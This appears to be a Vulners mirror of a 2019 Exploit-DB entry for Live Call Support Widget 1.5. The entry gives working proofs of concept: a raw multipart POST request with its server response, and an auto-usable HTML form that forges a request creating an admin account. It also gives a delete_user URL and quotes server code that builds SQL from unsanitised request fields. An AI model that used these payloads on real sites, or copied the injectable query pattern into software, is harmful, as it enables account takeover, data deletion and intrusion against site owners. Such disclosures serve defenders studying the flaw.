Lucene search
K

Live Call Support Widget 1.5 - Cross-Site Request Forgery (Add Admin)

🗓️ 14 Jan 2019 00:00:00Reported by Ihsan SencanType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 75 Views

Live Call Support Widget 1.5 Cross-Site Request Forgery (Add Admin vulnerability

Code
# Exploit Title: Live Call Support 1.5 - Cross-Site Request Forgery (Add Admin)
# Dork: N/A
# Date: 2019-01-13
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://ranksol.com/
# Software Link: https://codecanyon.net/item/live-call-support-widget-software-online-calling-web-application/22532799
# Version: 1.5
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/server.php
# 

#/[PATH]/server.php
#213 		case "save_user":{
#214 
#215 			if($_REQUEST['password']==$_REQUEST['confirm_password']){
#216 
#217 				if($_REQUEST['uid']==''){
#218 
#219 					$sql = "insert into users
#220 
#221 								(
#222 
#223 									name,
#224 
#225 									phone_number,
#226 
#227 									email,
#228 
#229 									password,
#230 
#231 									type
#232 
#233 								)
#234 
#235 							values
#236 
#237 								(
#238 
#239 									'".$_REQUEST['agent_name']."',
#240 
#241 									'".$_REQUEST['agent_number']."',
#242 
#243 									'".$_REQUEST['email_address']."',
#244 
#245 									'".$_REQUEST['password']."',
#246 
#247 									'".$_REQUEST['role']."'
#248 
#249 								)";
#250 
#251 				}else{
#252 
#253 					$sql = "update users set

POST /[PATH]/server.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------16460805410548
Content-Length: 879
Cookie: PHPSESSID=5fd1dbc1e4c6b5876e1f44dbc157af9f
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
-----------------------------16460805410548: undefined
Content-Disposition: form-data; name="agent_name"
efeefe
-----------------------------16460805410548
Content-Disposition: form-data; name="agent_number"
1234
-----------------------------16460805410548
Content-Disposition: form-data; name="email_address"
[email protected]
-----------------------------16460805410548
Content-Disposition: form-data; name="role"
1
-----------------------------16460805410548
Content-Disposition: form-data; name="password"
efeefe
-----------------------------16460805410548
Content-Disposition: form-data; name="confirm_password"
efeefe
-----------------------------16460805410548
Content-Disposition: form-data; name="uid"
-----------------------------16460805410548
Content-Disposition: form-data; name="cmd"
save_user
-----------------------------16460805410548--
HTTP/1.1 302 Found
Date: Sun, 13 Jan 2019 11:45:08 GMT
Server: Apache
X-Powered-By: PHP/7.1.25
Access-Control-Allow-Origin: *
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
location: users.php
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

# POC: 
# 2)
# http://localhost/[PATH]/server.php
# 

<html>
<body>

<form method="post" action="http://localhost/[PATH]/server.php" enctype="multipart/form-data">
	<div class="form-group">
		<label>Name</label>
		<input name="agent_name" value="" type="text">
	</div>
	<div class="form-group">
		<label>Phone Number</label>
		<input name="agent_number" value="" type="text">
	</div>
	<div class="form-group">
		<label>Email Address</label>
		<input name="email_address" value="" type="text">
	</div>
	<div class="form-group">
		<label>Role</label>
		<select name="role" class="form-control">
			<option value="2">Consultant</option>
			<option value="1">Admin</option>
		</select>
	</div>
	<div class="form-group">
		<label>Password</label>
		<input name="password" value="" type="text">
	</div>
	<div class="form-group">
		<label>Confirm Password</label>
		<input name="confirm_password" type="text">
	</div>
	<div class="form-group">
		<input name="uid" value="" type="hidden">
		<input name="cmd" value="save_user" type="hidden">
		<input value="Save" class="btn btn-primary" type="submit">
		<input value="Back" class="btn btn-default" onclick="history.go(-1)" type="button">
	</div>
</form>

</body>
</html>

# POC: 
# 3)
# http://localhost/[PATH]/server.php?cmd=delete_user&userID=[DELETE_ID]
# 

#/[PATH]/server.php
#191 		case "delete_user":{
#192 
#193 			$userID = $_REQUEST['userID'];
#194 
#195 			$res = mysqli_query($link,"delete from users where id='".$userID."'");
#196 
#197 			if($res){

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation